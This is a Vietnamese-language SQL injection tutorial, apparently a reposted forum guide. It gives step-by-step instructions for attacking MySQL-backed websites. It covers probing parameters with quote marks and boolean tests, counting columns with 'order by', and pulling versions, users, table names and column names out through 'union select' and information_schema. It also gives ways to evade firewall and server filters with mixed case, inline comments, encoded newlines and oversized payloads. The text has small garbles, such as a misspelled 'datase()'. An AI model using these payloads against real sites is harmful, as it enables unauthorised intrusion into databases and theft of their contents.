1.Bước đầu tiên trong khi khai thác SQL chính là tìm lỗi:
Có các cách tìm lỗi sau:
- Thêm dấu
'vào trang web trả về :
You have an error in your SQL syntax,supplied argument is not a valid MySQL
warning mysql_num_rows supplied argument is not a valid mysql result resource
Thì chắc chắn là trang web đã bị lỗi SQL.
- Thêm dấu
'vào , trang web trả về trang trắng hoặc một phần của trang thì nguy cơ trang đó dính lỗi là rất cao --> thử khai thác tiếp.
-Thêm and 1=1 và 1=0 , trang web trả về trang trắng hoặc một phần -> dính lỗi.
2.Tìm số field,column:
Ta sử dụng câu lệnh
order byđể tính số field , số column (cột, dòng) trong cơ sở dữ liệu SQL.
Để tiết kiệm thời gian các bạn
order byđể xác định khoảng rồi tìm ra số column.
-Nếu order by 100--- mà trang web đưa về lỗi:
Error: Unknown column '100' in 'order clause'
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1
Thì các bạn tiếp tục giảm dần xác định khoảng rồi tìm ra
-Nếu order by 100-- - mà nó vẫn ra nguyên trang ban đầu thì các bạn thử thêm dấu
'sau phần id xem , nếu nó ra lỗi thì tiếp tục giảm dần để xác định khoảng
-Nếu cả 2 cách trên không được thì bạn ko dùng order by nữa , chuyển sang union select để tìm luôn (cách này hơi mất thời gian).
3.Tìm số lỗi: Bạn dùng lệnh union select để tìm ra số lỗi.
-Nếu nó hiện ra số lỗi bình thường thì các bạn tiếp tục khai thác thôi
-Nếu nố không hiện ra số lỗi thì các bạn có thể thực một trong các cách sau :
View source để tìm số lỗi
Xem các hình ảnh để tìm số
Thay các column bằng null : null,null,null
Thấy số id bằng null hoặc false
Một số trường hợp khi bạn bỏ dấu - trước số đi lại có thể thấy số lỗi
Dùng hoặc alt 255 thay cho dấu cách , viết hoa UNION SELECT
4.Khai thác
-Get thông tin về user , data , version
Các bạn get version để biết hướng khai thác (MySQL ver 4 hoặc 5) : version() hoặc @@version hoặc có thể là convert(version() using latin1)
Get user và database tương tự
-Get table và column
Get table : đối với MySQL 4 thì ta chỉ có thể đoán , mình đang tổng hợp lại các table và column hay dùng , còn đối với MySQL 5 thì chúng ta khai thác như sau
union select unhex(hex(group_concat(table_name))) from information_schema.tables where table_schema=datase()
Get column :
UNION SELECT GROUP_CONCAT(COLUMN_ NAME) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA=DATABASE() AND TABLE_NAME=0xtable_name
Convert table_name
sang hex hoặc cũng có thể dùng CHAR(...)
5.By pass
-Khi query một số site nó chặn các hàn union , select , convert ,.... thì khi query nó trả về trang trắng , lúc này ta thấy đổi bằng các chữ hoa thường xen kẽ nhau :uNiOn , SeLeCt ,CoNvErT ,....
-Khi query nó trả về lỗi.
Forbidden
You don't have permission to access /... on this server.
Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request
hoặc
Not Acceptable
An appropriate representation of the requested resource / could not be found on this server.
Additionally, a 404 Not Found error was encountered while trying to use an Error Document to handle the request
thì ta thay thế union hoặc select bởi /*union*/ hoặc /*!union*/ 0
-Khi query nó trả về lỗi
406 Not Acceptable
This request is not acceptable Powered By LiteSpeed Web Server
LiteSpeed Technologies is not responsible for administration and contents of this web site!
thì ta thay thế space bởi %0A
-Khi query nó trả về lỗi
Error 500: Internal Server Error
The server encountered an unexpected condition which prevented it from fulfilling the request.
The problem is on the server side, not with your browser or the address. Most probably, a certain service (e.g., Tomcat engine) is down. Please contact your webmaster.
thì các bạn query id=.. and (select 1)=(select 0xAAAAAAAAAAAAAAAA 1000 A nhé) union select 1,2,3....
Nguồn: át chủ bài